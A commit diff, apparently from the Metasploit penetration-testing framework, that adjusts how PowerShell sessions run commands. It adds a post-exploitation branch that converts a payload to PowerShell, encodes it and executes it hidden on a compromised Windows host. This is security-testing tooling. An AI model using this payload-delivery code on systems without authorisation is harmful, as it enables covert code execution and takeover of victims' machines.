Do changes to have into account powershell sesions are not cmd sessions
parent
4cbe35e1b2
commit
6468eb51b2
|
@ -44,7 +44,7 @@ class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
|
||||||
#
|
#
|
||||||
# Takes over the shell_command of the parent
|
# Takes over the shell_command of the parent
|
||||||
#
|
#
|
||||||
def shell_command(cmd)
|
def shell_command(cmd, timeout = 1800)
|
||||||
# insert random marker
|
# insert random marker
|
||||||
strm = Rex::Text.rand_text_alpha(15)
|
strm = Rex::Text.rand_text_alpha(15)
|
||||||
endm = Rex::Text.rand_text_alpha(15)
|
endm = Rex::Text.rand_text_alpha(15)
|
||||||
|
@ -52,7 +52,6 @@ class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
|
||||||
# Send the shell channel's stdin.
|
# Send the shell channel's stdin.
|
||||||
shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n")
|
shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n")
|
||||||
|
|
||||||
timeout = 1800 # 30 minute timeout
|
|
||||||
etime = ::Time.now.to_f + timeout
|
etime = ::Time.now.to_f + timeout
|
||||||
|
|
||||||
buff = ""
|
buff = ""
|
||||||
|
|
|
@ -147,7 +147,7 @@ module Exploit::Powershell
|
||||||
# @param ps_code [String] Powershell code
|
# @param ps_code [String] Powershell code
|
||||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||||
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
||||||
#
|
#ex
|
||||||
# @return [String] Wrapped powershell code
|
# @return [String] Wrapped powershell code
|
||||||
def run_hidden_psh(ps_code, payload_arch, encoded)
|
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||||
arg_opts = {
|
arg_opts = {
|
||||||
|
|
|
@ -198,6 +198,13 @@ module Msf::Post::Common
|
||||||
end
|
end
|
||||||
|
|
||||||
process.close
|
process.close
|
||||||
|
when /powershell/
|
||||||
|
if args.nil? || args.empty?
|
||||||
|
o = session.shell_command("#{cmd}", time_out)
|
||||||
|
else
|
||||||
|
o = session.shell_command("#{cmd} #{args}", time_out)
|
||||||
|
end
|
||||||
|
o.chomp! if o
|
||||||
when /shell/
|
when /shell/
|
||||||
if args.nil? || args.empty?
|
if args.nil? || args.empty?
|
||||||
o = session.shell_command_token("#{cmd}", time_out)
|
o = session.shell_command_token("#{cmd}", time_out)
|
||||||
|
|
|
@ -128,15 +128,37 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
case platform
|
case platform
|
||||||
when 'win'
|
when 'win'
|
||||||
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
|
if session.type == 'powershell'
|
||||||
vprint_status("Transfer method: Powershell")
|
template_path = File.join(Msf::Config.data_directory, 'templates', 'scripts')
|
||||||
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
|
psh_payload = case datastore['Powershell::method']
|
||||||
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
|
when 'net'
|
||||||
else
|
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
|
||||||
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
|
when 'reflection'
|
||||||
vprint_status("Transfer method: VBS [fallback]")
|
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
|
||||||
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
when 'old'
|
||||||
aborted = transmit_payload(exe)
|
Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
|
||||||
|
when 'msil'
|
||||||
|
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||||
|
else
|
||||||
|
fail RuntimeError, 'No Powershell method specified'
|
||||||
|
end
|
||||||
|
|
||||||
|
# prepend_sleep => 1
|
||||||
|
psh_payload = 'Start-Sleep -s 1;' << psh_payload
|
||||||
|
|
||||||
|
encoded_psh_payload = encode_script(psh_payload)
|
||||||
|
cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
|
||||||
|
else # shell
|
||||||
|
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
|
||||||
|
vprint_status("Transfer method: Powershell")
|
||||||
|
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
|
||||||
|
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
|
||||||
|
else
|
||||||
|
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
|
||||||
|
vprint_status("Transfer method: VBS [fallback]")
|
||||||
|
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
||||||
|
aborted = transmit_payload(exe)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
when 'python'
|
when 'python'
|
||||||
vprint_status("Transfer method: Python")
|
vprint_status("Transfer method: Python")
|
||||||
|
|
Loading…
Reference in New Issue